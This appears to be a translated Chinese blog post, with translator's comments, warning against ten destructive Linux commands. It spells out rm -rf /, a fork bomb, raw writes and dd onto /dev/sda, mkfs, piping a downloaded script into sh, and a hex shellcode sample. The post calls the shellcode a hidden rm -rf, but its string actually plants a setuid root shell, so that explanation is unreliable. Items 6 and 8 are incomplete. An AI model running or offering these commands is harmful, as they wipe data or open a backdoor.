天天看點

[linux]永遠不要在 Linux 執行的 10 個最危險的指令

Linux指令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不确定你自己在正 在做什麼時候。這篇文章并不打算引來你對Linux或linux 指令行的憤怒。我們隻是想讓你意識到在你運作某些指令時應該三思而後行。(譯注:當然,以下指令通常都是在root權限下才能将愚蠢發揮到無可救藥;在普 通使用者身份下,破壞的隻是自己的一畝三分地。)

[linux]永遠不要在 Linux 執行的 10 個最危險的指令

1. rm -rf 指令

rm -rf指令是删除檔案夾及其内容最快的方式之一。僅僅一丁點的敲錯或無知都可能導緻不可恢複的系統崩壞。下列是一些rm 指令的選項。

rm 指令在Linux下通常用來删除檔案。

rm -r 指令遞歸的删除檔案夾,甚至是空的檔案夾。(譯注:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的檔案夾”)

rm -f 指令能不經過詢問直接删除‘隻讀檔案’。(譯注:Linux下删除檔案并不在乎該檔案是否是隻讀的,而隻是在意其父目錄是否有寫權限。是以,-f這個參數 隻是表示不必一個個删除确認,而是一律悄悄删除。另外,原始的rm指令其實也是沒有删除提示的,隻是一般的發行版都會将rm通過别名的方式增加-i參數來 要求删除确認,而-f則抑制了這個提示。)

rm -rf / : 強制删除根目錄下所有東東。(就是說删除完畢後,什麼也沒有了。。。)

rm -rf *: 強制删除目前目錄的所有檔案。

rm -rf . : 強制删除目前檔案夾及其子檔案夾。

從 現在起,當你要執行rm -rf指令時請留心一點。我們可以在“.bashrc”檔案對‘rm‘指令建立rm -i的别名,來預防用 ‘rm‘指令删除檔案時的事故,它會要求你确認每一個删除請求。(譯注:大多數發行版已經這樣做了,如果還沒有,請這樣做,并在使用-f參數前一定考慮好 你在做什麼!譯者本人有着血淚的教訓啊。)

2. :(){:|:&};: 指令

這就是個fork 炸彈的執行個體。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運作在背景。它會反複的執行下去直到系統崩潰。

:(){:|:&};:

3. 指令 > /dev/sda

上列指令會将某個‘指令‘的輸出寫到塊裝置/dev/sda中。該操作會将在塊裝置中的所有資料塊替換為指令寫入的原始資料,進而導緻整個塊裝置的資料丢失。

4. mv 檔案夾 /dev/null

這 個指令會移動某個‘檔案夾‘到/dev/null。在Linux中 /dev/null 或 null 裝置是一個特殊的檔案,所有寫入它的資料都會被清除,然後傳回寫操作成功。(譯注:這就是黑洞啊。當然,要說明的是,通過将檔案夾移動到黑洞,并不能阻止 資料恢複軟體的救贖,是以,真正的徹底毀滅,需要采用專用的軟體或者手法來完成——我知道你肯定有些東西想删除得幹幹淨淨的。)

# mv /home/user/* /dev/null

上列指令會将User目錄所有内容移動到/dev/null,這意味着所有東西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列指令會從一個(也許是)惡意源下載下傳一個腳本并執行。Wget指令會下載下傳這個腳本,而sh會(無條件的)執行下載下傳下來的腳本。

注意: 你應該時刻注意你下載下傳包或腳本的源。隻能使用那些從可信任的源中下載下傳腳本/程式。(譯注:是以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)

6. mkfs.ext3 /dev/sda

滅性的,上面的資料都會被蒸發了。)

7. > file

上列指令常用來清空檔案内容(譯注:通常也用于記錄指令輸出。 不過請在執行前,确認輸出的檔案是空的或者還不存在,否則原來的檔案可真是恢複不了了——連資料恢複軟體都未必能幫助你了。另外,我想你可能真正想用的是 “>>”,即累加新的輸出到檔案,而不是重新整理那個檔案。)。如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf” 的指令會覆寫配置檔案或其他任何的系統配置檔案。

8. ^foo^bar

9. dd if=/dev/random of=/dev/sda

上列指令會向塊裝置sda寫入随機的垃圾檔案進而擦出資料。當然!你的系統可能陷入混亂和不可恢複的狀态。(譯注:記得上面說過mv到黑洞并不能徹底删除資料麼?那麼這個指令就是給了你一個徹底删除的方法!當然為了保險起見,你可以覆寫多次。)

10. 隐藏指令

下面的指令其實就是上面第一個指令 (rm -rf)。這裡的代碼是隐藏在十六進制裡的,一個無知的使用者可能就會被愚弄。在終端裡運作下面指令可能會擦除你的根分區。

這個指令表明通常真正的危險是隐藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運作從未知來源的代碼。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp

-p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

繼續閱讀